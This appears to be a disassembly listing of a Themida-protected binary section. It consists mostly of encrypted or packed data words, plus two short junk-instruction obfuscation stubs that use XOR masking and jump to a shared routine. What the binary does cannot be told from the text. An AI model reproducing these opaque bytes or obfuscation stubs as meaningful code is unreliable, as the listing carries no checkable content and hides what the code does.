		dd 0D71172CEh, 59E4D57Ah, 0C43DC4E2h, 0B1B4B15Bh, 8690DC8Eh
		dd 7FCB9EC1h, 17EE84C4h, 8DD98EA7h, 0F263AF92h,	0FA9B95E1h
		dd 9A39CE8h, 4FC75192h,	52CD19D1h, 64DF2B25h, 0AB56AD05h
		dd 6CDC375Dh, 510A7C50h, 72A4FC7h, 0B396292Bh, 73ED54F1h
		dd 81000000h, 20965A86h, 144FC6B3h, 49E02C23h, 2E7A70EDh
		dd 5BD6F112h, 0E350E3D4h, 0EE66EE57h, 184FC6B4h, 1AA51BFAh
		dd 6954F118h, 1, 186481FDh, 2775700Fh, 0F6ED82B7h, 5AE881AAh
		dd 0A6F43FE8h, 0C0EEC0F2h, 0A5C1DE69h, 0FBCFEB59h, 4FC7178Bh
		dd 93AC86A9h, 2FA45FB5h, 34452036h, 0C7172618h,	22B064Fh
		dd 0F49E049h, 0D5869C4Eh, 0C26BBE89h, 6681B09Ah, 4273111Ah
		dd 5F2A418Fh, 8CE38C28h, 0BB57AA75h, 9EB2C39Ah,	4FC722A8h
		dd 0C37CA58Ch, 25411A66h, 130C580Fh, 0F54CD72Eh, 67DC3719h
		dd 1B8B5F70h, 194FC722h, 74250FF6h, 4593485Eh, 83B4F4B6h
		dd 0A1AA834Ch, 0B9E661C8h, 0ADD8539Fh, 0BBD84E85h, 0C854F119h
		dd 0AFh, 5566815Eh, 0C6B30579h,	2108274Fh, 135F7926h, 23E23818h
		dd 0C36DB9AEh, 0B0A7BD92h, 0B3DBCB9Fh, 0B6594FC6h, 0B18AB64Fh
		dd 87B56EBAh, 0C6B3D3C3h, 67BE614Fh, 87EC89BCh,	8591F691h
		dd 9EB3A4C0h, 0B4A6D952h, 0E875C168h, 0B602D8EEh, 0BC90F14Fh
		dd 32BCBA2Bh, 0AACD72BCh, 78C49DB3h, 0EFE99691h, 5FABC0A3h
		dd 0DF365CE4h, 73C37532h, 0D23B543Bh, 85384977h, 0E8ED83E2h
		dd 234625EBh, 0D72E6C2Eh, 48BE153Bh, 54F1FA2Bh,	4258h
		dd 6681EE00h, 4273111Ah, 67F8428Eh, 911F2874h, 6C63D83Bh
		dd 4B6C3820h, 1A654997h, 0FB70F63h, 81221CF6h, 850F1864h
		dd 4FC6B30Eh, 92BDE6FAh, 31A2907Ah, 3C298A2h, 0F136F28Dh
		dd 19154h, 81250000h, 48945167h, 213966E1h, 3C07530Bh
		dd 37203CE5h, 4500D23h,	3B2B3F1Dh, 0F94FC6B3h, 543FC16h
		dd 491F946Fh, 0F60753FDh, 5DF509F7h, 5A95BFBh, 593059A7h
		dd 71D366B0h, 0EDD1ED5Bh, 0C6D56DE1h, 0D660BF4Fh, 8EE0659Eh
		dd 0DF68C749h, 0F65EAAC0h, 0E661ADA5h, 0EE0D6CEh, 0FC69C56h
		dd 0D47CC89Ah, 0C488B488h, 560EE0D2h, 0BDB1BF62h, 6F560EE0h
		dd 1D98690h, 15CD6AB5h,	5BB37EC9h, 34F0378h, 89607965h
		dd 0E03F2F3Dh, 12ED560Eh, 710E5008h, 125B3942h,	0F7h, 965A86ACh
		dd 4FC6B320h, 0E21ED14h, 262A162Eh, 498EB8E9h, 112BF41Bh
		dd 68E32F28h, 28382601h, 0F02FF036h, 0D5213926h, 41163F5Bh
		dd 3BD72AF5h, 43FC481Ah, 39F23E14h, 0CE4382D8h,	3668D01Ch
		dd 5B3938A9h, 4BDAh, 87719200h,	2A4A851Dh, 4A914A48h, 0E010EE1h
		dd 55B3A04h, 6C4D71CFh,	61092571h, 4FC6B2BDh, 6D1710EFh
		dd 0B3097D51h, 42B4FC6h, 0B34C422Ah, 98BE4FC6h,	86BEA23Dh
		dd 0B37016DAh, 0BD644FC6h, 698093h, 7B5C0000h, 42FC1662h
		dd 75D3E95Bh, 8EB8DE59h, 36F11049h, 4B055109h, 8C42580Ah
		dd 0B220740h, 0BC7D3440h, 9BF1560Eh, 0C30FC338h, 8AA2A299h
		dd 37612DEh, 0CB664FD2h, 57A3BC9Dh, 0FDD582BBh,	0AEBA76B1h
		dd 302B3255h, 0F9DE2AE0h, 0AA39F7E7h, 1446D039h, 0E2616B1h
		dd 0A2021E32h, 0CF324991h, 0A4571071h, 827F8255h, 5BE6A0B8h
		dd 4975D3E9h, 0B2E55975h, 0E8474FC6h, 0F90A264Eh, 0B744989h
		dd 0E618171Ah, 767AE68Ch, 56167900h, 0DF41CD34h, 8BD18D3Eh
		dd 0C2A646A8h, 0EC17C0F3h, 0C17EE17h, 312B776Bh, 122E7A70h
		dd 56E02C29h, 706253F1h, 0EA620A24h, 48699A06h,	0CC9E13F2h
		dd 0D387D880h, 0C39BBC87h, 0C069B5ADh, 50B3C987h, 8DBB07DBh
		dd 0DD66B2ACh, 0AFFBD384h, 0CD818D74h, 4D37091h, 8B398BD1h
		dd 70BCAEAFh, 1146B7h, 91A0000h, 4E30AA32h, 7FCB84A1h
		dd 6AC45DC4h, 811763D4h, 73241F6Bh, 6718135Fh, 801F2874h
		dd 75221D69h, 62150E5Ah, 7926216Dh, 6916115Dh, 7728236Fh
		dd 7419125Eh, 8904EC83h, 0E589242Ch, 4C581h, 0ED830000h
		dd 242C8704h, 1EB8685Ch, 2C890000h, 0E2895224h,	4C281h
		dd 0EA810000h, 4, 5C241487h, 53243489h,	6D1597BBh, 0EBC1435Dh
		dd 7E3C103h, 215EE381h,	0BF573757h, 760E3C83h, 4CECF81h
		dd 0E7811778h, 6E164F4Ah, 8107E7C1h, 79399F7h, 5FFB291Bh
		dd 545BDD89h, 8324348Bh, 895004C4h, 84689E8h, 8324048Bh
		dd 348B04C4h, 0E0895024h, 405h,	4C08300h, 5C240487h
		db 8Bh,	2Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_544ACB
; ---------------------------------------------------------------------------
		dd 5B59703h, 0A68B4967h, 4F31B8F3h, 0C503064Fh,	1299E0FFh
		dd 0FF9B66B3h, 43690240h, 3FEB39E6h, 829858CCh,	1002D38h
		dd 93AA4E35h, 16E12ACDh, 97AB0FFAh, 0F1AB33B5h,	0BFE50CB1h
		dd 2BE375B4h, 5351277Ch, 169A2EF6h, 0D91E384Bh,	4A993B08h
		dd 0A7C311C7h, 7AD82422h, 81404C56h, 0AB5239EFh, 6C831880h
		dd 8D8D0161h, 64F50F4h,	6830F60h, 8B000000h, 480FB995h
		dd 0FE95606h, 0B5000000h, 0B97DD1DAh, 0BAA6D074h, 0B4ABCCD0h
		dd 6158DC82h, 0A198D89h, 6A0648h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 967E34C3h, 8DA3E816h
		dd 850F1EA9h, 8, 1D852950h, 5B06480Bh, 0F3585C7h, 739C0648h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 0ED998C3h, 31DD9D8Bh, 85C70648h, 6482425h
		dd 0
		dd 1855B5FFh, 8D010648h, 64809E1h, 20BD95FFh, 95890648h
		dd 648094Dh, 95FF006Ah
		db 61h,	30h, 48h
byte_5B1E63	db 6			; DATA XREF: Themida_:0053D750o
		dd 58EBC08Bh, 0D1648F11h, 4A2B4047h, 7AF8285Fh,	0DD9E18DBh
		dd 0BCF94A75h, 0D28985h, 2E724824h, 0F4BC92CAh,	0A60DB904h
		dd 0C858949Dh, 779422F9h, 963CD558h, 0E238914h,	16B9EFEh
		dd 0A159B7F3h, 0D2D8217h, 8119AE52h, 36BAB4A3h,	3499E957h
		dd 1D99B059h, 0B4F653ACh, 0E89E3D6Fh, 0DD7E04EBh, 88E97805h
		dd 25000005h, 2879E32Fh, 2677E12Dh, 2D6EE632h, 2A6BE531h
		dd 0F06FE935h, 1E6A65EAh, 206C6536h, 28746738h,	2F7B6F30h
		dd 814D9105h, 5616040Dh, 867AC41Fh, 25D0271Dh, 0BA540654h
		dd 0AE79C59Dh, 0BECA6D96h, 19CA19C8h, 3B8760FDh, 3E8A6001h
		dd 0F465705h, 2F350DBCh, 667CD935h, 4773111Ah, 0C6D71383h
		dd 34FE214Fh, 82DE2A23h, 0D71C925Eh, 2C104FC6h,	0C6D72E20h
		dd 0A23FE4Fh, 0E3391730h, 0D287B020h, 0B7ABAC86h, 0BBB0F16Bh
		dd 0BF94C56Fh, 74ACD573h, 2E8F727Bh, 6BB7AC8Fh,	10C976CFh
		dd 0A699E5FAh, 8BDE69B5h, 0BC95C6A2h, 3A9C9770h, 595D599Ah
		dd 0BCC888BDh, 0B4ADC39Bh, 0A38ADF68h, 0E375C1A8h, 6CB8AB20h
		dd 0A943AFD0h, 1C2A1C41h, 1223E12h, 0D8329834h,	213ED863h
		dd 0CF1B3349h, 0EC5FED36h, 1C4FC7A1h, 4EAF1FF6h, 51051607h
		dd 97C5519Fh, 54F1C90Ch, 7777h,	69810F00h, 128A221Dh, 4F4FC6B3h
		dd 0AAD24D99h, 0C6B3B0A6h, 0BA9D844Fh, 7FD15AA6h, 0C13FEA29h
		dd 97C03093h, 0BB9975C1h, 54F11628h, 15Bh, 6481F300h, 75700F18h
		dd 65811E29h, 3B4D9B4Fh, 328139ECh, 0CA9FA881h,	0D3DCD29Eh
		dd 0B1504FC6h, 5293EC58h, 4A885055h, 0B799AE88h, 302DA261h
		dd 372B6CE4h, 8D617DEBh, 4FC6BB19h, 0FF1D0118h,	947A8C7Ah
		dd 0D3ADA16Dh, 2E1A6681h, 0B3483E12h, 43EC4FC6h, 59290E2Bh
		dd 57B05946h, 9C616663h, 0AD929C4Eh, 0AEC2D38Ah, 4FC6B7B8h
		dd 0B36C957Ch, 50C50056h, 23B64997h, 0FC69C6B4h, 99729BE7h
		dd 799DC69Fh, 0A89079EEh, 0F208DBFCh, 0B39691DDh, 0CB9FC05Ah
		dd 0BD93C47Fh, 0A78FB671h, 77D9F66Ch, 64AA54F1h, 44000000h
		dd 20965A86h, 144FC6B3h, 1B3421EDh, 2D2354CFh, 0BE0A66E1h
		dd 9D79C59Dh, 0ECE358BBh, 0F0E7B8A0h, 667B8A4h,	0D9010439h
		dd 6F103501h, 85202B77h, 0D300764Dh, 0B054F18Dh, 6Ch, 50668146h
		dd 6CD54E9Ah, 0F6ED8A95h, 0B90FA1AAh, 9EEAE55Ah, 16D1EAB6h
		dd 7099E500h, 3FB952B7h, 9D483D38h, 8658EE48h, 0E8327E55h
		dd 36125E77h, 0B350460Ah, 3DE44FC6h, 4B404CF1h,	0BB4FC6B3h
		dd 0BBC83E95h, 0FD54F115h, 0DEF203DCh, 4FC6A768h, 72BC65CCh
		dd 13B5h, 67536700h, 0C6A6F363h, 92DE414Fh, 4FC6A71Ch
		dd 1F25F110h, 101B6781h, 6B657B6Fh, 0E43D241Fh,	7C572D5Bh
		dd 0ADB6F30Ch, 0BE83BEB4h, 0D7EDE374h, 956CB703h, 0CB6DC46Ch
		dd 90C387B5h, 0D8498F8Dh, 0FA96C4C7h, 716E99E5h, 83A571CDh
		dd 0DEF4A39Ch, 0E1F9AA92h, 91F28A95h, 0AB55FF57h, 0E38FAB97h
		dd 560F6E71h, 0DF54AF05h, 8DD9F50Bh, 0C79BBC74h, 0DDF1CD7Bh
		dd 560F6E69h, 0DEF364CBh, 0A0BF8892h, 509CB4CAh, 0B4AA8BB9h
		dd 0B08ADF68h, 0A164BA97h, 221CD031h, 0E4239357h, 0EE11560Eh
		dd 0F4EAF415h, 0D9253D1Ah, 7DA23D5Fh, 3DE15B39h, 75000001h
		dd 0A3495A86h, 4DCEA1A8h, 0B80C82CEh, 78554FC6h, 0DF3BD62Ch
		dd 74D0E858h, 0F33F8B43h, 0BDAC6367h, 37DA498Eh, 5F26F809h
		dd 70A17024h, 0ECFEA1A6h, 0F3E7B8A0h, 0C9A5B9A7h, 560F64D5h
		dd 0E95EB857h, 0A5B69FBBh, 0DD7BCE59h, 560F6469h, 8DCA64CBh
		dd 303A87D5h, 28AE2838h, 93EB4601h, 91A7BB30h, 0AE938CD8h
		dd 28BBDD57h, 5B5B39BBh, 36h, 0CF055BF3h, 766C4D71h, 0C264102Ah
		dd 0F24FC6B2h, 678140Fh, 44FC6B3h, 0AE87F7CEh, 8EA16DB9h
		dd 0A2AE9ACAh, 4FC6B37Ch, 74E751B0h, 9Ch, 105C0F28h, 0E95B4006h
		dd 704975D3h, 48212A76h, 0B90986EEh, 0D43B498Eh, 0EA362C4Bh
		dd 0ED393172h, 0BC5F1A32h, 7DD3560Eh, 0CD19D146h, 47233763h
		dd 560EBD57h, 0E55975D5h, 47560EBCh, 42F541E8h,	727EEA02h
		dd 4FD1EDCBh, 0FD491A3Bh, 8F46EF31h, 0FB125E79h, 74661912h
		dd 5E773A63h, 0EE10E75h, 0CE254C42h, 1E41E04Fh,	0DF42FD49h
		dd 354BFD46h, 0EB0143DEh, 39855C7Dh, 63FF1BEEh,	9155E687h
		dd 6C80EC49h, 560ED5FAh, 6F64D73Ah, 0E8412823h,	1A8C607Ch
		dd 1A560ED6h, 49331BF7h, 75D3E95Bh, 89E3B459h, 0D2CB3449h
		dd 8878D08Ch, 0DB8C9E78h, 9970BB07h, 0D288B770h, 0CD10CF84h
		dd 0E70347C8h, 5615BE77h, 90B35AB5h, 0B9A38AD6h, 0BAA6F2E8h
		dd 0A327A569h, 3703DD03h, 0AEC7860Eh, 0AFFB37DBh, 0AFCFBF8Bh
		dd 0C25DC7CCh, 0AE23E278h, 97C870BCh, 8BAC77C3h, 5D987D3h
		dd 0CCAF75E9h, 0D98EB7C7h, 56AF928Dh, 0AFC583BCh, 0BF0BDF54h
		dd 0C20EC495h, 39489h, 632A0000h, 1F6B8117h, 135F7324h
		dd 28746718h, 1D69801Fh, 0E5A7522h, 216D6215h, 115D7926h
		dd 236F6916h, 125E7728h, 0EC817419h, 4,	89243489h, 4C681E6h
		dd 83000000h, 348704EEh, 89535C24h, 4C381E3h, 83000000h
		dd 1C8704EBh, 0C895C24h, 0E1895124h, 4C181h, 0E9810000h
		dd 4, 5C240C87h, 68243489h, 64F515Ch, 83240C8Bh, 0EB6804C4h
		dd 89000039h, 4832424h,	575E0424h, 8F57CF89h, 8B5F0846h
		dd 89522434h, 4C281E2h,	81000000h, 4C2h, 24148700h, 240C8B5Ch
		dd 81E28952h, 4C2h, 4C28100h, 87000000h, 0E95C2414h, 0FFF9267Bh
		dd 0B8E2F3B6h, 64F564Fh, 0E0FFC503h, 6BF403F1h,	55F72448h
		dd 63512839h, 37BA1C58h, 5ABF6B7h, 5F365AA4h, 689604EBh
		dd 0A1E92634h, 71000005h, 54052F7Bh, 52032D79h,	590A327Eh
		dd 5607317Dh, 1CFB3581h, 0EA3631B6h, 0EC383172h, 0F4401344h
		dd 0FB471B3Ch, 3D115D41h, 56160A49h, 81C608EBh,	163F1D69h
		dd 221BF743h, 3985617Ah, 566780DDh, 0C6B3047Ah,	5609284Fh
		dd 70CC3581h, 0E9459147h, 0D21E3465h, 0E8342659h, 48C9237Ch
		dd 203C20C7h, 22133116h, 65BE430h, 0E6322B2Ch, 3884617Ah
		dd 0B10769DEh, 64C1E252h, 4E1D6256h, 0B8229458h, 0EF124FC6h
		dd 30262A16h, 44FC6B8h,	8E44111Dh, 92491A42h, 964D0E46h
		dd 0E92EB348h, 0C3A6A1EDh, 95459568h, 0CD84B36Ch, 0F48AC681h
		dd 7BC79C11h, 0ABF7ECCDh, 0E96DC9A0h, 0EA56A2B8h, 6FCB17D1h
		dd 0BE92AED6h, 4FC6C0C8h, 7AEC006Ch, 0BA4FC6C0h, 864AE57h
		dd 4FC6C093h, 10863D73h, 54F12273h, 7AC3DC45h, 42DE42C1h
		dd 8037F8h, 81CF0000h, 7A221D69h, 52295429h, 53040D04h
		dd 87E32F7Bh, 4FC6F915h, 9404BFF5h, 416C436Bh, 0D29AEA9Ch
		dd 7539D279h, 0AA9CB0C1h, 8A4FC744h, 0A2B47EA7h, 54F1A71Dh
		dd 166h, 1D860000h, 9CD211D4h, 0C5929CE7h, 0D483BC08h
		dd 72E4E8F9h, 0C24FC71Eh, 0C19AC65Fh, 7FE25DA9h, 0F1ED8AB3h
		dd 0C7A3B7A5h, 4FC71ED7h, 0E760BA55h, 5BD03389h, 5DFE3682h
		dd 63FF3985h, 17105C72h, 0FC257168h, 66810C32h,	4773111Ah
		dd 0C6B31383h, 34FE214Fh, 65DE2A23h, 0E257AE04h, 0B1FFD7EDh
		dd 7DD8C6DAh, 7DA47D70h, 0AE4EBEDFh, 0A29DA24Ch, 0CB9FC098h
		dd 0BD93C47Fh, 0B18FB671h, 68CDC18Dh, 0C05F4FC7h, 0AB21E476h
		dd 54F1C908h, 88D487B0h, 5FD06ABFh, 83h, 1A6681F7h, 6E477311h
		dd 0FF22D79h, 0C6B34D41h, 0E740DF4Fh, 61271129h, 88D5616Fh
		dd 5BA7BAD0h, 966DE1EDh
		dd 60BF4FC7h, 5CB27EC9h, 0BF80979h, 0E1A70991h,	15CA8BA7h
		dd 0ABBF9BC9h, 4FC724BBh, 0D47C9679h, 5C4BB488h, 664F5A32h
		dd 9F8D014Fh, 809F4FC7h, 62AEA9B6h, 54A0B6E9h, 4184B2CBh
		dd 0F1FFA8CBh, 44DB54h,	81730000h, 6E111A66h, 2213317Dh
		dd 6881E22Eh, 1B2D121Ch, 3E198E45h, 86004AF2h, 0B320965Ah
		dd 0ED144FC6h, 0CD193421h, 0B3413A52h, 99C54FC6h, 0D45EAAC0h
		dd 0CED1477Eh, 0EA54F115h, 6FCB17D1h, 1BEh, 67815800h
		dd 0D54E9A51h, 0F28A956Ch, 86C10DC9h, 14C697A3h, 0C5D17FC8h
		dd 0A773BF94h, 0FEE252B1h, 0C6B37CF2h, 0C08CB04Fh, 4FC6B3CEh
		dd 0D06AC35Eh, 0A38DD98Fh, 0E8546CCCh, 8EBE2FE4h, 3866B749h
		dd 519A367Bh, 87AA809Ah, 7BC79BBCh, 7ECAA0C1h, 0B858C1E2h
		dd 60802556h, 0F861A8Ch, 0EF71A56h, 3B313B04h, 37560F86h
		dd 352DA261h, 3C2E6FE9h, 520837F0h, 86392D41h, 14FB560Fh
		dd 7FD732EDh, 0CF1BCF44h, 0E8B03365h, 2ED35B39h, 6B000001h
		dd 75D3E95Bh, 6418D44h,	7F4B1723h, 498EB8C8h, 0D42D1BF6h
		dd 0AB091A0Bh, 0B68FAB37h, 0CB85D189h, 0BC2D88Ah, 0BADD66BFh
		dd 0BC055AA8h, 0C2BDC203h, 4391E06Bh, 34EF3B12h, 0B40F41CDh
		dd 75DF2B3Fh, 39AAA023h, 60E35Bh, 0C5990000h, 0F3CB5A9h
		dd 2F187456h, 0F94CF916h, 7E52EE11h, 560EB908h,	1329052Ch
		dd 71CF055Bh, 0C6B2B95Dh, 2814FB4Fh, 8F43590Fh,	3E61EA43h
		dd 366E12Dh, 1D37102Ah,	4FC6B329h, 0B550B3E9h, 0F7D3719Fh
		dd 4FC6B357h, 0F707B855h, 62A26205h, 0E9D591CBh, 0C76371E5h
		dd 0D25CC34Fh, 8443h, 5586FF00h, 786F2D7Bh, 7458746Dh
		dd 0EEE5928Dh, 69C0A9A2h, 0C2DA6ACDh, 0B3CDCAA6h, 0A07F498Fh
		dd 96E2F8A7h, 12DE029Eh, 560FA39Ch, 87C00CC5h, 0CE08CA2h
		dd 560FA39Ah, 848E779Ah, 95B3FFD3h, 0BB95ABA4h,	0B48D966Fh
		dd 9EB7E55Ah, 0BAB27CC8h, 560FA2FFh, 71E61D73h,	2C032D79h
		dd 8448F40Ch, 4FD2D615h, 7C60FC23h, 0CE59FE70h,	47D32E4Fh
		dd 3D8961FEh, 0D5304602h, 56F20A3Ah, 918D077Ah,	520A2549h
		dd 0D3E95BF8h, 79704975h, 30FF22Dh, 89E5FA67h, 824E7249h
		dd 56160A0Ch, 0F3350120h, 6E64130Ch, 4D6E3A22h,	24FD4692h
		dd 47954D0Ah, 7A738975h, 0B4917AD7h, 0F54DB2E5h, 0E16BB44Dh
		dd 760CE4F9h, 8C607168h, 75FB1B1Ah, 150EF71Ah, 84566C62h
		dd 0FA56D138h, 56B661A4h, 9A50C500h, 0A6BAE64Eh, 0FB1BD4CAh
		dd 4EB95875h, 41F732F9h, 68F541DEh, 7A1D2672h, 0D32C1864h
		dd 4379D57Bh, 48204340h, 54DE43FCh, 43914CEBh, 6874B676h
		dd 86C1680Ch, 6AB501D9h, 0E18C479Fh, 45BA196Fh,	4617418Dh
		dd 401C4894h, 0FAF93A2Ch, 0FB17FA75h, 8D342h, 0AC8D0000h
		dd 78CE68B4h, 6B811763h, 5F73241Fh, 74671813h, 69801F28h
		dd 5A75221Dh, 6D62150Eh, 5D792621h, 6F691611h, 5E772823h
		dd 52741912h, 0C281E289h, 4, 8704EA83h,	895C2414h, 8956242Ch
		dd 4C681E6h, 83000000h,	348704EEh, 2C895C24h, 0E3895324h
		dd 4C381h, 0EB810000h, 4, 5C241C87h, 83240489h,	3C8904ECh
		dd 1FBFBF24h, 51BD42B6h, 1C39937h, 8B545FFDh, 0C4832404h
		dd 5F555704h, 5F087889h, 5624048Bh, 0C681E689h,	4, 4C681h
		dd 34870000h, 2C8B5C24h, 0E6895624h, 4C681h, 0C6830000h
		dd 24348704h, 20B9E95Ch, 4389FFF9h, 4ACD1B9Bh, 3BE29021h
		dd 5962F7A7h, 4F5C18B8h, 0FFC50306h, 0F2B180E0h, 0EFD46D4Fh
		dd 0C68CEC25h, 4097EA37h, 403B8C7Bh, 43DF8241h,	0E53B4468h
		dd 4CD35660h, 9E1E656Bh, 86B7FF31h, 6309DF04h, 0C8F3855Ah
		dd 0C6E24A62h, 183EE90Bh, 0C182D676h, 36FC075Fh, 77C82605h
		dd 0B22AC179h, 33865A6Bh, 118D8D01h, 66064F5Eh,	8D89D08Bh
		dd 6480A19h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	52C35343h, 0F3585C7h, 6A140648h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 5D818BC3h, 2367FFFDh, 69F68166h, 2585C780h, 64824h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 3283C353h, 0AAB95B60h,	35B52930h
		dd 33064830h, 482C25BDh, 8DB5FF06h, 6A064822h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 73A2C355h, 8B2DD280h, 48232995h, 0BD95FF06h,	6A064820h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 66F0C353h, 0E8E593BAh, 12h, 0D7D57516h, 5E5E00CCh
		dd 50218AACh, 0D2F9981Ah, 0B52B14D0h, 64806F5h,	0FF006A5Fh
		dd 48306195h, 0EBC08B06h, 0EF4E9D1Ah, 0DFC05924h, 9E8C06DCh
		dd 0B61C09A9h, 1E11E6A0h, 68857546h, 0EBA83839h, 97BF2904h
		dd 540E92Eh, 96460000h,	9451124Ah, 994F1048h, 9CB2E34Dh
		dd 0A0B7E850h, 557DDC54h, 91CB17D0h, 63CD19D0h,	5BD52132h
		dd 74DC283Ah, 3E303C60h, 0EE561611h, 6981CBD7h,	45163F1Dh
		dd 3FDB2EF9h, 627D5E06h, 845BFC16h, 0B2E75773h,	0EA454FC6h
		dd 714D1943h, 0C6B2E95Dh, 4AE44B4Fh, 5B09550Dh,	0FE18647Ah
		dd 0F6441649h, 867C147Eh, 5AA6BCBDh, 789178D1h,	89D590AFh
		dd 0B91C72BEh, 1A428E44h, 0E469249h, 6980964Dh,	1C3B041Dh
		dd 112EF945h, 64130C58h, 8927206Ch, 2325D033h, 0EA01764Dh
		dd 0EDE5B69Eh, 950EA6A1h, 714FC748h, 750A8043h,	4354F1AAh
		dd 39F23E12h, 81E946D0h, 7D000000h, 3F1D6981h, 25F54316h
		dd 0C50223AAh, 360F2B02h, 0C741261Eh, 0A0BCE04Fh, 0C741DACCh
		dd 5BB75A4Fh, 1BA81EF5h, 6854F1A4h, 1, 7D5586FEh, 1F287467h
		dd 168E34Ah, 0DF2D2835h, 0E5B2E7B4h, 33CE503h, 1A668059h
		dd 81DE3811h, 700F1864h, 7E212A76h, 2E7A5369h, 362B4CD7h
		dd 0B1E761EAh, 0B905DD52h, 0A2729B6Eh, 4519894Ch, 0C7023529h
		dd 0FE18F74Fh, 7A6E8461h, 3C5DD72Eh, 2862DA26h,	95506681h
		dd 27206C7Fh, 960EB42h,	5D782720h, 0E33B1611h, 68B4AB20h
		dd 6FBBAFF0h, 81CD83B4h, 5CB79FC6h, 0F113C9E6h,	78BA54h
		dd 81540000h, 49955066h, 2CF74316h, 44F32CD5h, 2907408Ch
		dd 125C4DDh, 0DD8FDD23h, 4FC4FF51h, 0B3E44C98h,	0A8D7509Ch
		dd 0B6E962AEh, 0ABCC57A3h, 0BFE06BB7h, 7EE35CA8h, 0D17C57AFh
		dd 11873E74h, 54F1D67Eh, 5105h,	66819900h, 4273111Ah, 1909408Eh
		dd 57885707h, 828C75AEh, 96B2FED5h, 421F446Dh, 6EC814C8h
		dd 22E1B7D9h, 0FA66B2ADh, 2BE02DA9h, 828C908Ch,	648174CEh
		dd 0E850F18h, 0FA4FC6B3h, 7889F9DCh, 2CB7B0B9h,	74E22CE5h
		dd 54F1836Fh, 114h, 6781AA00h, 7B6F101Bh, 8C43F42Fh, 7D580740h
		dd 0CCF2F631h, 0A2EE5E09h, 0B3BCB2BEh, 91704FC6h, 0B3A797B3h
		dd 0AA854FC6h, 960BCA90h, 0F1CA76C2h, 0B804E1F7h, 0A7739A6Fh
		dd 3C7F3AFh, 4FC6B393h,	4E9AB4A1h, 79956CD5h, 0D26E86B6h
		dd 9AA5F1E9h, 0DBEF6BC7h, 498EBE28h, 9CBDAB86h,	58B17AC6h
		dd 4D689BEh, 76B1FDEEh,	7DC612C9h, 0B8A47DA4h, 37713967h
		dd 627B4F45h, 7D51EF16h, 560EB709h, 262A042Bh, 8E475D75h
		dd 247DEB42h, 8294EE96h, 8FB882D1h, 0F80EC4F5h,	0A07A93DFh
		dd 0F34E0D4h, 5C09656h,	0A68EDA90h, 2860A9FAh, 3491345Eh
		dd 19657DDAh, 2D79710Eh, 3F8B45F2h
		dd 2E7A5304h, 7BE14F5h,	9E75CD5Ch, 6BE53129h, 39D79629h
		dd 106ED5Bh, 0B69F0000h, 88BE58A4h, 75D3E95Bh, 8EB89E59h
		dd 3A310A49h, 65DE2A24h, 471A25FCh, 51DA35EBh, 48F03C2Eh
		dd 49F74317h, 0BCE55975h, 0E847560Eh, 9446F94Eh, 0DC32FF48h
		dd 82CE84F9h, 1FFB88DAh, 41885B39h, 1E000000h, 71CF055Bh
		dd 0C6B2B95Dh, 0C3CC354Fh, 7CF2FE6Fh, 0B04FC796h, 495DB651h
		dd 0B04FD15Dh, 0BC69DD77h, 73A94FC6h, 315FF590h, 1402EA13h
		dd 0A014A000h, 5C02CE96h, 504FC6F1h, 819487B1h,	2A000000h
		dd 75D3E95Bh, 2B777049h, 85ED4920h, 498EB90Ah, 0A560B3Ch
		dd 641E841h, 70D9455Eh,	2C4A2CD7h, 115D75E2h, 18647627h
		dd 0BB4C850Fh, 0EAC0560Eh, 58A4B62Bh, 0D498C4E0h, 560EBCE2h
		dd 0CC63AF52h, 0E4E8546Ch, 4FD1F660h, 66B2A790h, 0BBABBFDDh
		dd 794FCE0Ah, 0AA966F96h, 0BE89D591h, 0C976CF6Bh, 9BE7FB11h
		dd 0D750B990h, 6500C399h, 82F4F8D3h, 0B24FCE0Ah, 0C68AB64Fh
		dd 499144BEh, 0DFA9936Eh, 12D1E95Bh, 0DCB110CCh, 0E0EC58B1h
		dd 498A635Ch, 0B2A4A894h, 825615DBh, 57AEFAD5h,	0EEC775AEh
		dd 0F364AEFAh, 0F8A993DFh, 0EF8D96E2h, 9CD0668Eh, 5AAF78C4h
		dd 24E724B1h, 0DA15620Ah, 0C49C6D6Dh, 0DB90AF78h, 668C948Fh
		dd 0D82404AFh, 34C69B04h, 251E25C4h, 5DE85747h,	93AD57Eh
		dd 0E63B0450h, 5ACF064Ch, 48143C88h, 45D50F37h,	0E7E43F8Bh
		dd 0A4BE760h, 45914258h, 1A3463DCh, 302255CEh, 273C5BE4h
		dd 410A5611h, 5E0641E8h, 5EA51C92h, 3FF1107Eh, 0D3FEA29h
		dd 33279C77h, 362C6DE7h, 865D7EEAh, 0EF18F13Ah,	0E06E5170h
		dd 0F156E0D0h, 30Ch, 1763C200h,	241F6B81h, 18135F73h, 1F287467h
		dd 221D6980h, 150E5A75h, 26216D62h, 16115D79h, 28236F69h
		dd 19125E77h, 5FAA6874h, 0C890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		push	64F5E3Bh
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		xor	dword ptr [esp], 60B011A3h
		pop	dword ptr [eax+8]
		xor	dword ptr [eax+8], 60B011A3h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_544ACB
; ---------------------------------------------------------------------------
		dw 3CFDh
		dd 0DA20BCFEh, 0C1CD705Eh, 0F2B867B7h, 3064F62h, 5FE0FFC5h
